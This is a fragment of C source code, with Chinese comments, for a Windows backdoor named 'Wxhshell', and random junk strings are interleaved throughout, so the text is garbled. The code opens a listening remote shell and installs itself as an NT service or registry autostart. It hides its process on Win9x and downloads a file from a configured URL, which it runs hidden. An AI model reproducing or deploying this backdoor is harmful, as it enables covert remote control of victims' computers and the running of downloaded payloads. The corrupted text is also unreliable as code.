W g5yJfRLxp if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]?*wbxU0 r3Ykz%6 CloseHandle(hProcess); /o[w4d8 Q;u pau hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); HV.t6@\}; if(hProcess==NULL) return 0; O84i;S+-p &NWEqBz*2 HMODULE hMod; g'gdgfvn char procName[255]; ]tD]Wx% unsigned long cbNeeded; v1[29t<I! =fbWz if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :r[`.` wbHb;] CloseHandle(hProcess); `]X>V, +0~YP*I`/ if(strstr(procName,"services")) return 1; // 以服务启动 d5.4l&\u pFXEu=$3 return 0; // 注册表启动 Y7aqO5 } 9my^Y9B yw!{MO // 主模块 ]3gSQ7 int StartWxhshell(LPSTR lpCmdLine) xUvs: { 99S^f:t SOCKET wsl; dscgj5b1~ BOOL val=TRUE; P%6~&woF int port=0; <m m[S struct sockaddr_in door; i$@:@&(~Y T|p"0b A if(wscfg.ws_autoins) Install(); yZRzIb_ N$DkX)Z port=atoi(lpCmdLine); VnzZTGs ^_6|X]tz1T if(port<=0) port=wscfg.ws_port; /mMV{[ Q@niNDaW2 WSADATA data; zTp"AuNHN if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; w@pPcZ>z/ =WLY 6)]A if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; SIllU setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); yr6V3],Tp door.sin_family = AF_INET; "zc l|@ door.sin_addr.s_addr = inet_addr("127.0.0.1"); R=dC4; door.sin_port = htons(port); O=lzT~G|4 [ }:$yg if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Nl/dX-I closesocket(wsl); )7d&NE_ return 1; \lY_~*J } 4JEpl'5^Q TV:9bn?r) if(listen(wsl,2) == INVALID_SOCKET) { Mhu*[a=;x closesocket(wsl); XuTD\g3) return 1; O8o3O
6[Y } 2T1q?L?] Wxhshell(wsl); (mOtU8e WSACleanup(); ~?dI*BZ)] v^iAD2X/F return 0; : +u]S2u{ &L:!VL{I } @co
S+t G)YcJv7 // 以NT服务方式启动 *_e3 @g VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N;R^h? ' { LLI.8kn7 DWORD status = 0; 43w}qY1 DWORD specificError = 0xfffffff; lMt=|66 O2+ 6st serviceStatus.dwServiceType = SERVICE_WIN32; edD)TpmE, serviceStatus.dwCurrentState = SERVICE_START_PENDING; (BM47D=v serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .d*8C, serviceStatus.dwWin32ExitCode = 0; FsPw1A$y serviceStatus.dwServiceSpecificExitCode = 0; Lr+$_ t}r serviceStatus.dwCheckPoint = 0; "N;EL0= serviceStatus.dwWaitHint = 0; =*Lfl'sr_ . me;.,$# hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .X&9Q9T=# if (hServiceStatusHandle==0) return; ^pS~Z~[d/
jo7\`#(Q status = GetLastError(); t:S+%u U if (status!=NO_ERROR) TzZq(?V { b$7 +;I; serviceStatus.dwCurrentState = SERVICE_STOPPED; IgzQr > serviceStatus.dwCheckPoint = 0; zqku e%^?- serviceStatus.dwWaitHint = 0; 7^285)UQA serviceStatus.dwWin32ExitCode = status; NHt\
U9l' serviceStatus.dwServiceSpecificExitCode = specificError; rjP/l6
~' SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0_/[k*Re return; lYIH/:T } `XKLU DDZ@$L! serviceStatus.dwCurrentState = SERVICE_RUNNING; 0]L"H<W serviceStatus.dwCheckPoint = 0; m'U0'}Ld}; serviceStatus.dwWaitHint = 0; N+|d3X! if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); m~|40) } 0J|3kY-n> cK@wsA^4 // 处理NT服务事件,比如:启动、停止 <v2;p}A VOID WINAPI NTServiceHandler(DWORD fdwControl) )+^+sd { ~Ei<Z`3}7" switch(fdwControl) + 3gp%`c4 { =wJX0A| case SERVICE_CONTROL_STOP: CITc2v3a serviceStatus.dwWin32ExitCode = 0; <aw[ XFg serviceStatus.dwCurrentState = SERVICE_STOPPED; !Cs_F&l"j serviceStatus.dwCheckPoint = 0; qK+5NF| serviceStatus.dwWaitHint = 0; Sdo-nt { UG^q9 :t SetServiceStatus(hServiceStatusHandle, &serviceStatus); l{9Y } Wqnc{oq|$ return; x;S @bY case SERVICE_CONTROL_PAUSE: S/ *E,))m serviceStatus.dwCurrentState = SERVICE_PAUSED; +q4O D$} break; [^)g%|W case SERVICE_CONTROL_CONTINUE: OI*H,Z" serviceStatus.dwCurrentState = SERVICE_RUNNING; wkq 66? break; .}t
e>]A* case SERVICE_CONTROL_INTERROGATE: [0of1eCSl break; v19-./H^
j }; 4*L_)z&4; SetServiceStatus(hServiceStatusHandle, &serviceStatus); x2EUr,7 } F
[M,]? }k0_5S // 标准应用程序主函数 J,hCvm int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) mw!F{pw { PCvWS.{ !if // 获取操作系统版本 _$'ashF OsIsNt=GetOsVer(); /z!%d%" GetModuleFileName(NULL,ExeFile,MAX_PATH); }C:r9?T E./2jCwI(Y // 从命令行安装 :/#rZPPF if(strpbrk(lpCmdLine,"iI")) Install(); > I?IPQB
8}[).d160 // 下载执行文件
XX@ZQcN if(wscfg.ws_downexe) { T%Lx%Qn if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .>S!ji WinExec(wscfg.ws_filenam,SW_HIDE); r$1Qf}J3= } yevPHN"M )4OxY[2J if(!OsIsNt) { {=WgzP // 如果时win9x,隐藏进程并且设置为注册表启动 yfSmDPh HideProc(); hM{bavd StartWxhshell(lpCmdLine); 3F3A%C% } i. "v4D else 8y L Y if(StartFromService()) zda 3
,U2o // 以服务方式启动 UZMd~| StartServiceCtrlDispatcher(DispatchTable); uT{q9=w else uD'6mk* // 普通方式启动 &&+H+{_Q StartWxhshell(lpCmdLine); ]'}L 1r )UR7i8]!0 return 0; VRMXtQ*1Dm }
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